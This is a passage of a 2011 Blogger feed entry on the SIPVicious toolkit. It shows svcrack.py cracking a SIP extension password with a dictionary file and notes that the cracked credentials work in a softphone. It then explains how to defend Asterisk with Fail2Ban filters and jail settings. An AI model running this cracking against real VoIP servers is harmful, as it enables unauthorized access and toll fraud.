&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Extension&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Password&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;--------------------------&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="lit"&gt;100&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;2       &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="lit"&gt;100&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;2      &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;Should  print  something like this.&lt;br /&gt;&lt;br /&gt;To crack an alphanumeric password we need to make use of a dictionary file.  Create a text file called "dictionary.txt" containing your password.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;user@box$./svcrack.py 192.168.1.100 -u 1000 -d dictionary.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Extension&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Password&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;------------------------&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;1000&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; secret   &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;Assuming that&lt;/span&gt; &lt;span class="hps"&gt;we were successful&lt;/span&gt;&lt;span class=""&gt;, &lt;/span&gt;&lt;/span&gt;should  print  something like this.&lt;br /&gt;&lt;br /&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;Now having&lt;/span&gt; &lt;span class="hps"&gt;cracked&lt;/span&gt; &lt;span class="hps"&gt;the&lt;/span&gt; &lt;span class="hps"&gt;extension,&lt;/span&gt;&lt;/span&gt;  you can make use of the credentials by making use of a SIP softphone such as &lt;a href="http://www.linphone.org/"&gt;Linphone&lt;/a&gt;,&lt;a href="http://www.counterpath.com/x-lite.html"&gt; X-lite&lt;/a&gt; or &lt;a href="http://www.zoiper.com/"&gt;Zoiper&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;br /&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;How to prevent&lt;/span&gt; &lt;span class="hps"&gt;such attacks&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;There is&lt;/span&gt; &lt;span class="hps"&gt;a tool called&lt;/span&gt; &lt;span class="hps"&gt;Fail2Ban:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Fail2ban (Wikipedia)&lt;/b&gt;&lt;br /&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Fail2ban&lt;/b&gt; is an intrusion prevention framework written in the &lt;a href="http://en.wikipedia.org/wiki/Python_%28programming_language%29" title="Python (programming language)"&gt;Python&lt;/a&gt; programming language. It is able to run on &lt;a href="http://en.wikipedia.org/wiki/POSIX" title="POSIX"&gt;POSIX&lt;/a&gt; systems that have an interface to a packet-control system or firewall installed locally (for example, &lt;a href="http://en.wikipedia.org/wiki/Iptables" title="Iptables"&gt;iptables&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/TCP_Wrapper" title="TCP Wrapper"&gt;TCP Wrapper&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Fail2ban's main function is to block selected &lt;a href="http://en.wikipedia.org/wiki/IP_address" title="IP address"&gt;IP addresses&lt;/a&gt; that may belong to &lt;a href="http://en.wikipedia.org/wiki/Host_%28network%29" title="Host (network)"&gt;hosts&lt;/a&gt; that are trying to breach the system's security. It determines the hosts to be blocked by monitoring &lt;a href="http://en.wikipedia.org/wiki/Log_file" title="Log file"&gt;log files&lt;/a&gt; (e.g. &lt;tt&gt;/var/log/pwdfail&lt;/tt&gt;, &lt;tt&gt;/var/log/auth.log&lt;/tt&gt;,  etc.) and bans any host IP that makes too many login attempts or  performs any other unwanted action within a time frame defined by the  administrator.&lt;sup id="cite_ref-1" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Fail2ban#cite_note-1"&gt;&lt;span&gt;[&lt;/span&gt;2&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  Fail2ban is typically set up to unban a blocked host within a certain  period, so as to not "lock out" any genuine connections that may have  been temporarily misconfigured.&lt;sup id="cite_ref-2" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Fail2ban#cite_note-2"&gt;&lt;span&gt;[&lt;/span&gt;3&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt; However, an unban time of several minutes is usually enough to stop a network connection being &lt;a href="http://en.wikipedia.org/wiki/Denial-of-service_attack" title="Denial-of-service attack"&gt;flooded&lt;/a&gt; by malicious connections, as well as reducing the likelihood of a successful &lt;a href="http://en.wikipedia.org/wiki/Dictionary_attack" title="Dictionary attack"&gt;dictionary attack&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Fail2ban can perform multiple actions whenever an abusive IP is detected: update &lt;a href="http://en.wikipedia.org/wiki/Netfilter/iptables" title="Netfilter/iptables" class="mw-redirect"&gt;Netfilter/iptables&lt;/a&gt; firewall rules, or alternatively &lt;a href="http://en.wikipedia.org/wiki/TCP_Wrapper" title="TCP Wrapper"&gt;TCP Wrapper&lt;/a&gt;'s &lt;tt&gt;hosts.deny&lt;/tt&gt;  table, to reject an abuser's IP address; email notifications; or any  user-defined action that can be carried out by a Python script.&lt;sup id="cite_ref-3" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Fail2ban#cite_note-3"&gt;&lt;span&gt;[&lt;/span&gt;4&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; &lt;p&gt;The standard configuration ships with filters for &lt;a href="http://en.wikipedia.org/wiki/Apache_HTTP_Server" title="Apache HTTP Server"&gt;Apache&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Lighttpd" title="Lighttpd"&gt;Lighttpd&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Secure_Shell" title="Secure Shell"&gt;sshd&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Vsftpd" title="Vsftpd"&gt;vsftpd&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Qmail" title="Qmail"&gt;qmail&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Postfix_%28software%29" title="Postfix (software)"&gt;Postfix&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Courier_Mail_Server" title="Courier Mail Server"&gt;Courier Mail Server&lt;/a&gt;. Filters are defined by Python &lt;a href="http://en.wikipedia.org/wiki/Regular_expressions" title="Regular expressions" class="mw-redirect"&gt;regexes&lt;/a&gt;,  which may be conveniently customized by an administrator familiar with  regular expressions. A combination of a filter and an action is known as  a "jail",&lt;sup id="cite_ref-4" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Fail2ban#cite_note-4"&gt;&lt;span&gt;[&lt;/span&gt;5&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt; and is what causes a malicious host to be blocked from accessing specified network services.&lt;sup id="cite_ref-5" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Fail2ban#cite_note-5"&gt;&lt;span&gt;[&lt;/span&gt;6&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  As well as the examples that are distributed with the software, a "jail" may be created for any network-facing process that creates a log  file of access&lt;/p&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Fail2Ban; Installation:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;" id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;Using&lt;/span&gt; &lt;span class="hps"&gt;Ubuntu&lt;/span&gt; &lt;span class="hps"&gt;as the operating system&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;root@sipbox#apt-get install fail2ban iptables python&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 id="ConfigureFail2Ban"&gt;Configure Fail2Ban&lt;/h2&gt;&lt;br /&gt;We need to create a configuration for Fail2Ban so that it can understand attacks against Asterisk.&lt;br /&gt;&lt;br /&gt;Create a new filter configuration for Asterisk:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;root@sipbox#vi /etc/fail2ban/filter.d/asterisk.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;add the following lines&lt;/span&gt;&lt;span class=""&gt;;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;# Fail2Ban configuration file&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# $Revision: 250 $&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;[INCLUDES]&lt;br /&gt;&lt;br /&gt;# Read common prefixes. If any customizations available -- read them from&lt;br /&gt;# common.local&lt;br /&gt;#before = common.conf&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Definition]&lt;br /&gt;&lt;br /&gt;#_daemon = asterisk&lt;br /&gt;&lt;br /&gt;# Option:  failregex&lt;br /&gt;# Notes.:  regex to match the password failures messages in the logfile. The&lt;br /&gt;#          host must be matched by a group named "host". The tag "&lt;host&gt;" can&lt;br /&gt;#          be used for standard IP/hostname matching and is only an alias for&lt;br /&gt;#          (?:::f{4,6}:)?(?P&lt;host&gt;\S+)&lt;br /&gt;# Values:  TEXT&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;failregex = NOTICE.* .*: Registration from '.*' failed for '&lt;host&gt;' - Wrong password&lt;br /&gt;         NOTICE.* .*: Registration from '.*' failed for '&lt;host&gt;' - No matching peer found&lt;br /&gt;         NOTICE.* .*: Registration from '.*' failed for '&lt;host&gt;' - Username/auth name mismatch&lt;br /&gt;         NOTICE.* .*: Registration from '.*' failed for '&lt;host&gt;' - Device does not match ACL&lt;br /&gt;         NOTICE.* .*: Registration from '.*' failed for '&lt;host&gt;' - Peer is not supposed to register&lt;br /&gt;         NOTICE.* .*: Registration from '.*' failed for '&lt;host&gt;' - ACL error (permit/deny)&lt;br /&gt;         NOTICE.* .*: Registration from '.*' failed for '&lt;host&gt;' - Device does not match ACL&lt;br /&gt;         NOTICE.* &lt;host&gt; failed to authenticate as '.*'$&lt;br /&gt;         NOTICE.* .*: No registration for peer '.*' \(from &lt;host&gt;\)&lt;br /&gt;         NOTICE.* .*: Host &lt;host&gt; failed MD5 authentication for '.*' (.*)&lt;br /&gt;         NOTICE.* .*: Failed to authenticate user .*@&lt;host&gt;.*&lt;br /&gt;&lt;br /&gt;# Option:  ignoreregex&lt;br /&gt;# Notes.:  regex to ignore. If this regex matches, the line is ignored.&lt;br /&gt;# Values:  TEXT&lt;br /&gt;#&lt;br /&gt;ignoreregex =&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/host&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt; &lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next edit &lt;strong&gt;/etc/fail2ban/jail.conf&lt;/strong&gt; to include the  following section so that it uses the new filter. This does a 3-day ban  on the IP that performed the attack. It is recommend to set the &lt;strong&gt;bantime&lt;/strong&gt;  in the [DEFAULT] section so if affects all attacks.&lt;br /&gt;&lt;br /&gt;It is also  recommend to turn on an iptables ban for ssh, httpd/apache, and ftp if  they are running on the system. Be sure to edit the &lt;strong&gt;sendmail-whois&lt;/strong&gt; action to send notifications to an appropriate address:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;root@sipbox#vi /etc/fail2ban/jail.conf&lt;br /&gt;&lt;span style="font-family:monospace;"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;[asterisk-iptables]&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;enabled  = true&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;filter   = asterisk&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;action   = iptables-allports[name=ASTERISK, protocol=all]&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;   sendmail-whois[name=ASTERISK, dest=root, sender=fail2ban@example.org]&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;logpath  = /var/log/asterisk/messages&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;maxretry = 5&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;bantime = 259200&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="" lang="en"&gt;&lt;span style="font-weight: bold;" class="hps"&gt;&lt;br /&gt;Note 0&lt;/span&gt;&lt;span class=""&gt;&lt;span style="font-weight: bold;"&gt;:&lt;/span&gt; check that&lt;/span&gt; &lt;span class="hps"&gt;asterisk&lt;/span&gt; &lt;span class="hps"&gt;really&lt;/span&gt; &lt;span class="hps"&gt;are saving&lt;/span&gt; &lt;span class="hps"&gt;the logs&lt;/span&gt; &lt;span class="hps"&gt;in&lt;/span&gt;&lt;/span&gt; /var/log/asterisk/messages&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;" id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;Restart services&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;root@sipbox#/etc/init.d/asterisk restart&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;root@sipbox#/etc/init.d/fail2ban restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note 1: &lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;Fail2Ban&lt;/span&gt; &lt;span class="hps"&gt;send information about&lt;/span&gt; &lt;span class="hps"&gt;the attackers,&lt;/span&gt; &lt;span class="hps"&gt;such as&lt;/span&gt; &lt;span class="hps"&gt;IP,&lt;/span&gt; &lt;span class="hps"&gt;IP&lt;/span&gt; &lt;span class="hps"&gt;Country&lt;/span&gt;&lt;span&gt;, Name of&lt;/span&gt; &lt;span class="hps"&gt;buyer,&lt;/span&gt; &lt;span class="hps"&gt;Company&lt;/span&gt; &lt;span class="hps"&gt;ISP,&lt;/span&gt; &lt;span class="hps"&gt;contact&lt;/span&gt; &lt;span class="hps"&gt;email&lt;/span&gt; .... ... .. . and more.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;Thanks for your&lt;/span&gt; &lt;span class="hps"&gt;attention !!&lt;br /&gt;Regards.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Bibliography:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;http://code.google.com/p/sipvicious/&lt;br /&gt;http://www.voip-info.org/&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-6044909306754337966?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/6044909306754337966/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/sipvicious-tool-suite.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/6044909306754337966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/6044909306754337966'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/sipvicious-tool-suite.html' title='SIPVicious tool suite'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
